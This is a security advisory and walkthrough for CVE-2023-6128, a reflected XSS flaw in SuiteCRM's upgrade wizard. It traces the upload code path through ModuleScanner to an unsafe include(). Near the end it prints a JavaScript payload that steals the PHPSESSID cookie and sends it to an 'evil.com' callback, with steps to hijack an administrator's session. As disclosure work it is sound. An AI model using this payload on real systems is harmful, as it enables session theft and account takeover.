CVE-2023-6128

Affecting SuiteCRM < v7.14.2, v7.12.14

SuiteCRM provides an upgrade wizard utility that can be used to apply upgrades or patches to the application.

Image

After researching this functionality, I found the following information on the SuiteCRM developer documentation of particular interest: https://docs.suitecrm.com/developer/module-installer/

At the minimum a package is a zip file that contains a `manifest.php` file in it’s root. The manifest file is responsible for providing information about the installer as well as providing information on how to install the package.

An example manifest file

$manifest = array(
   'name' => 'My First Package',
   'description' => 'This is a simple package example manifest file',
   'version' => '1.5',
   'author' => 'Jim Mackin',
   'readme' => 'readme.txt',
   'acceptable_sugar_flavors' => array('CE'),
   'acceptable_sugar_versions' => array(
     'exact_matches' => array(),
     'regex_matches' => array('6\.5\.[0-9]$'),
   ),
   'copy_files' => array (
     'from_dir' => '<basepath>/custom/',
     'to_dir' => 'custom',
     'force_copy' => array (),
   ),
   'dependencies' => array(
     array(
       'id_name' => 'example_dependency_package',
       'version' => '2.4',
     ),
   ),
);

Since the manifest file contains PHP content and we are expected to upload this to the application - an obvious idea is to see if we can introduce arbitrary code into the manifest that will run when the application processes this file.

To further pull on this thread, I spent some time trying to craft a working manifest file that succeeded the first round of validation checks. First, I created a manifest.php file with a few words of text as a text. Next, following the developer documentation I created an archive of this file using zip evil.zip manifest.php. Next, I uploaded the newly created evil.zip as a package and clicked Upload.

After uploading this file, we see the test contents of our manifest.php file reflected back to us. This is an interesting behavior considering the upload also appeared to fail with the error message ‘You can only upload patches on this page’.

Image

To abuse this unintended behavior - let’s step through the code to better understand what is happening here.

When we upload our evil.zip file using the form, we send a POST request of multi-part form data.

-----WebKitFormBoundaryaIdC7qKEg7F85BNm
Content-Disposition: form-data; name="module"

UpgradeWizard
------WebKitFormBoundaryaIdC7qKEg7F85BNm
Content-Disposition: form-data; name="action"

index
------WebKitFormBoundaryaIdC7qKEg7F85BNm
Content-Disposition: form-data; name="step"

2
------WebKitFormBoundaryaIdC7qKEg7F85BNm
Content-Disposition: form-data; name="run"

upload
------WebKitFormBoundaryaIdC7qKEg7F85BNm
Content-Disposition: form-data; name="upgrade_zip"; filename="evil.zip"
Content-Type: application/zip

PK

We can consider the following code to be the entrypoint for us when we submit our file to be uploaded. The switch statement checks for the value of run in the form data. Since we specified ‘upload’ - we will follow that logic.

For brevity, I’ve removed some code excerpts that we will not reach. We create a new object $upload that contains the file we uploaded to the application. Next, we retrieve the temporary filename that we saved the file to on the file system at the upload:// path. Finally, the application marks $perform as true indicating that we are ready to attempt to extract the archive.

# upload.php Line 61
switch ($run) {
    case 'upload':
        logThis('running upload');
        $perform = false;
        $tempFile = '';
		<<SNIP>>
		} else {
			$upload = new UploadFile('upgrade_zip');
			global $sugar_config;
			$upload_maxsize_backup = $sugar_config['upload_maxsize'];
			$sugar_config['upload_maxsize'] = 60000000;
			<<SNIP>>
			} else {
				$tempFile = "upload://".$upload->get_stored_file_name();
				<<SNIP>>
				} else {
					logThis('File uploaded to '.$tempFile);
					$base_filename = urldecode(basename($tempFile));
					$perform = true;
				}
			}
			$sugar_config['upload_maxsize'] = $upload_maxsize_backup;
		}

Since $perform is now true, we call another method to extract the manifest.php from the archive.

# upload.php Line 118
if ($perform) {
$manifest_file = extractManifest($tempFile);

This function makes another call to extractFile to extract the manifest.php file from the archive.

# uw_utils.php
function extractManifest($zip_file)
    {
        logThis('extracting manifest.');
        return(extractFile($zip_file, "manifest.php"));
    }

The extractFile() method performs some path sanitization and actually performs the decompression routine before returning the path to the decompressed file.

# uw_utils.php
if (!function_exists('extractFile')) {
    function extractFile($zip_file, $file_in_zip)
    {
        global $base_tmp_upgrade_dir;

        // strip cwd
        $absolute_base_tmp_upgrade_dir = clean_path($base_tmp_upgrade_dir);
        $relative_base_tmp_upgrade_dir = clean_path(str_replace(clean_path(getcwd()), '', $absolute_base_tmp_upgrade_dir));

        // mk_temp_dir expects relative pathing
        $my_zip_dir = mk_temp_dir($relative_base_tmp_upgrade_dir);

        unzip_file($zip_file, $file_in_zip, $my_zip_dir);

        return("$my_zip_dir/$file_in_zip");
    }
}

Coming back to the upload.php file, we now have the manifest.php file extracted and saved to $manifest_file. Now, the application appears to have some logic to perform scanning and validation on the manifest.php file via the ModuleScanner.php import.

The method scanFile() is called and any return value is assigned to $fileIssues.

# upload.php Line 122
if (is_file($manifest_file)) {
	//SCAN THE MANIFEST FILE TO MAKE SURE NO COPIES OR ANYTHING ARE HAPPENING IN IT
	require_once __DIR__ . '/../../ModuleInstall/ModuleScanner.php';

	$ms = new ModuleScanner();
	$ms->lockConfig();
	$fileIssues = $ms->scanFile($manifest_file);
	if (!empty($fileIssues)) {
		$out .= '<h2>' . translate('ML_MANIFEST_ISSUE', 'Administration') . '</h2><br>';
		$out .= $ms->getIssuesLog();
		break;
	}

In scanFile(), we see that $issues is initialized as an array and then the manifest.php file is subjected to a series of validation routines. First, the file is checked to ensure that it has a valid extension. $validExt contains ‘php’ as a whitelisted extension meaning that we will pass this check. Next, isConfigFile() checks to see if a file is named ‘config.php’ or ‘config_override.php’, since our manifest.php file doesn’t match either of these we continue on. If we were to have failed either of these two validation steps - we would have returned a populated array of $issues back to the caller in upload.php.

Finally, we are subjected to the isPHPFile() method which checks if the file starts with <?php and if so - subjects our file to more involved scanning and validation of PHP content. However, since our test file contains no PHP content or tags - it fails this validation check.

Failing this validation check returns $issues back to the caller in upload.php. Surprisingly, the application doesn’t populate this array with any content and instead will return an empty array - which is likely unintended logic!

# ModuleScanner Line 589
public function scanFile($file)
    {
        $issues = array();
        if (!$this->isValidExtension($file)) {
            $issues[] = translate('ML_INVALID_EXT', 'Administration');
            $this->issues['file'][$file] = $issues;
            return $issues;
        }
        if ($this->isConfigFile($file)) {
            $issues[] = translate('ML_OVERRIDE_CORE_FILES', 'Administration');
            $this->issues['file'][$file] = $issues;

            return $issues;
        }
        $contents = file_get_contents($file);
        if (!$this->isPHPFile($contents)) {
            return $issues; # We exit here and return an empty $issue array!
        }
        <<SNIP>>

Back at upload.php, if we look at the line immediately following the scanFile() call - we see that the application checks to see if $fileIssues contains any issues and breaks accordingly. Since our issues array is empty, we do not break here like we probably should.

# upload.php Line 128
$fileIssues = $ms->scanFile($manifest_file);
if (!empty($fileIssues)) {
	$out .= '<h2>' . translate('ML_MANIFEST_ISSUE', 'Administration') . '</h2><br>';
	$out .= $ms->getIssuesLog();
	break;
}

List is called to assign multiple values returned from the MSLoadManifest function with argument of $manifest_file (which contains our manifest.php file)

# upload.php Line 134
list($manifest, $installdefs) = MSLoadManifest($manifest_file);

Reviewing MSLoadManifest method, we see a major problem. This file is passed directly to an include statement. This explains why we are seeing our file contents reflected back to us - the application is including the contents of the file which is then being returned to us in the server response!

# ModuleScanner.php Line 961
function MSLoadManifest($manifest_file)
{
    include($manifest_file);
    return array($manifest, $installdefs);
}

There is significant validation logic in the module scanner that makes it challenging to use this to execute arbitrary PHP code inside of the manifest.php file. There is, however, no logic that sanitizes HTML tags contained within the manifest file. Since we can reflect the contents of our manifest file directly into the page that is returned by the server - we can craft a manifest.php file that carries out a reflected XSS attack.

This time, we add a Javascript snippet to our manifest.php file that will extract the PHPSESSID from the user who uploads the malicious package and sends it over to our callback endpoint.

<script>const getCookieValue=(name)=>(document.cookie.match("(^|;)\\s*" + name + "\\s*=\\s*([^;]+)")?.pop() || "");fetch("http://evil.com:1337/drop?c=" + getCookieValue("PHPSESSID"))</script>

Save this file as ‘manifest.php’ and compress it into an archive which is required to pass the first round of validations. zip evil.zip manifest.php

Upload the zip to the UpgradeWizard by clicking the ‘Upload Package’ button after selecting our zip file. You should see a callback on the attacker infrastructure containing the session token of the user who uploaded the package. Using that PHPSESSID token - we can hijack the administrator’s session.

Image

As previously mentioned - there is significant validation logic in the module scanner that makes it challenging to use this to execute arbitrary PHP code. See my other post on bypassing the module scanner to achieve RCE here